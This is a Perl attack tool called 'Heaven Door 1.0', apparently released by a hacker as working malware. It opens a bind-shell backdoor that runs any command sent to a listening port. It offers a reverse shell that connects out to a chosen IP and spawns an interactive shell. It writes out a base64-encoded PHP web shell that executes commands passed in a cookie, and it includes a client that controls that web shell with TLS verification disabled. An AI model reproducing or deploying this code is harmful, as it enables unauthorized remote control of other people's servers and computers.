[Perl] Heaven Door 1.0

# !usr/bin/perl
# Heaven Door 1.0
# (C) Doddy Hackman 2016

use LWP::UserAgent;
use MIME::Base64;
use IO::Socket;
use IO::Socket::SSL;
use Cwd;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

GetOptions(
	"backdoor"   => \$backdoor,
	"reverse"   => \$reverse,
	"ip=s"   => \$ip,
    "port=s"   => \$port,
    "generate_backdoor"  => \$generate_backdoor,
    "filename=s"  => \$filename,
    "connect_backdoor"   => \$connect_backdoor,
    "url=s"   => \$url
);

head();

if ($backdoor) {
	if($backdoor && $port) {
		backdoor($port);
	} else {
		sintax();
	}	
}
elsif ($reverse) {
	if($reverse && $ip && $port) {
		reverse_shell($ip,$port);
	} else {
		sintax();
	}
}
elsif ($generate_backdoor) {
	if($filename) {
		cargar_generador_backdoor($filename);
	} else {
		sintax();
	}
}
elsif ($connect_backdoor) {
	if($url) {
		cargar_consola_backdoor($url);
	} else {
		sintax();
	}
}
else {
    sintax();
}

copyright();

# Functions

# Simple backdoor

sub backdoor {
	
	my($port) = @_;
	
	$backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);

	printear("[+] Heaven_Door : ");
	print "Online\n";
	printear("[+] Port : ");
	print "$port\n";
	printear("[+] PID : ");
	print "$$\n\n";
	
	printear_titulo("[+] Connected");

	while ($jesus = $backdoor->accept()) {
		$jesus->autoflush(1);
		print $jesus "[+] Heaven_Door : Online\n[+] Port : 25256\n[+] PID : ".$$."\n\n";
		print $jesus "Welcome  ".$jesus->peerhost."\n\n";
		&extras;
		$dir = getcwd();
		print $jesus $dir.">>";
		while (<$jesus>) {
			my $yeah = qx($_);
			print $jesus "\n\n".$yeah."\n\n";
			print $jesus $dir.">>";
		}
	}

	sub extras {

		if ($^O =~/Win32/ig) {
			use if $^O eq "MSWin32", "Win32";
			print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
			print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
			print $jesus "[+] Username : ".Win32::LoginName()."\n\n";
		} else {
			$output =  `uname -a`;
			print $jesus "--==System Info==--\n\n".$output."\n";
		}
	}
	
} 

#

# Reverse Shell

sub reverse_shell {
	my($ip,$port) = @_;
	printear_titulo("[+] Reverse Shell : ");
	print "Loaded\n\n";
	printear("[+] IP to connect : ");
	print $ip."\n";
	printear("[+] Port : ");
	print $port."\n\n";
	printear_logo("[+] Connecting ...\n\n");
	socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	connect(REVERSE, sockaddr_in($port,inet_aton($ip)));
	printear_titulo("[+] Reverse Shell successful\n\n");
	open (STDIN,">&REVERSE");
	open (STDOUT,">&REVERSE");
	open (STDERR,">&REVERSE");
	tipo();
	printear_logo("[+] Disconnecting ...\n\n");
}

sub tipo {
	if ($^O =~/Win32/ig) {
		infowin();
	system("cmd.exe");
	} else {
		infolinux();
		system("export TERM=xterm;exec sh -i");
	}
}

sub infowin {
	use if $^O eq "MSWin32", "Win32";
	print "[+] Domain Name : ".Win32::DomainName()."\n";
	print "[+] OS Version : ".Win32::GetOSName()."\n";
	print "[+] Username : ".Win32::LoginName()."\n\n";
}

sub infolinux {
	print "[+] System information\n\n";
	system("uname -a");
	print "\n";
}

#

# More Functions

sub cargar_consola_backdoor {
	printear("[+] Checking Backdoor ...\n\n");
	my $check1 = cargar_comando($url,"ver");
	my $check2 = cargar_comando($url,"uname -a");
	if(check_backdoor($check1) or check_backdoor($check2)) {
		printear_logo("[+] Backdoor Loaded\n");
		my($url) = @_;
		while(1) {
			printear("\n[+] Command : ");
			chomp( my $comando = <stdin> );
			if ( $comando =~ /exit/ ) {
				copyright();
			}
			my $code = cargar_comando($url,$comando);
			if(check_backdoor($code)) {
				my $output = extract_command_backdoor($code);
				if($output ne "") {
					printear_titulo("\n".$output."\n");
				} else {
					printear_titulo("\n"."[-] Invalid command"."\n");	
				}
			} else {
				printear_titulo("\n"."[-] Invalid command"."\n");
			}
		}
	} else {
		printear_logo("[+] Backdoor not exists\n");
	}
}

sub check_backdoor {
	my $text = shift;
	if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
		return 1;
	} else {
		return 0;
	}
}

sub extract_command_backdoor {
	my $text = shift;
	if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
		return $1;
	} else {
		return "";
	}
}

sub cargar_generador_backdoor {
	my $filename = shift;
	if(-f $filename) {
		unlink($filename);
	}
	printear_titulo("[+] Generating backdoor ...\n\n");
	generar_backdoor($filename);
	if(-f $filename) {
		printear("[+] Backdoor $filename generated !\n");
	} else {
		printear("[-] Error generating backdoor\n");
	}
}

sub generar_backdoor {
	my $filename = shift;
	my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
	savefile($filename,decode_base64($code));
}

sub cargar_comando {
	my($url,$command) = @_;
	my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
	$nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
	$nave->timeout(10);
	my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
	return decode_base64($contenido);
}

sub savefile {
	my ($filename,$text) = @_;
	open( SAVE, ">>" . $filename );
	print SAVE $text . "\n";
	close SAVE;
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub sintax {

    printear("[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-backdoor -port <port> : Enable backdoor in port\n";
    print "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
    print "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
    print "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
    printear("\n[+] Example : ");
    print "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
    copyright();
}

sub head {
    printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?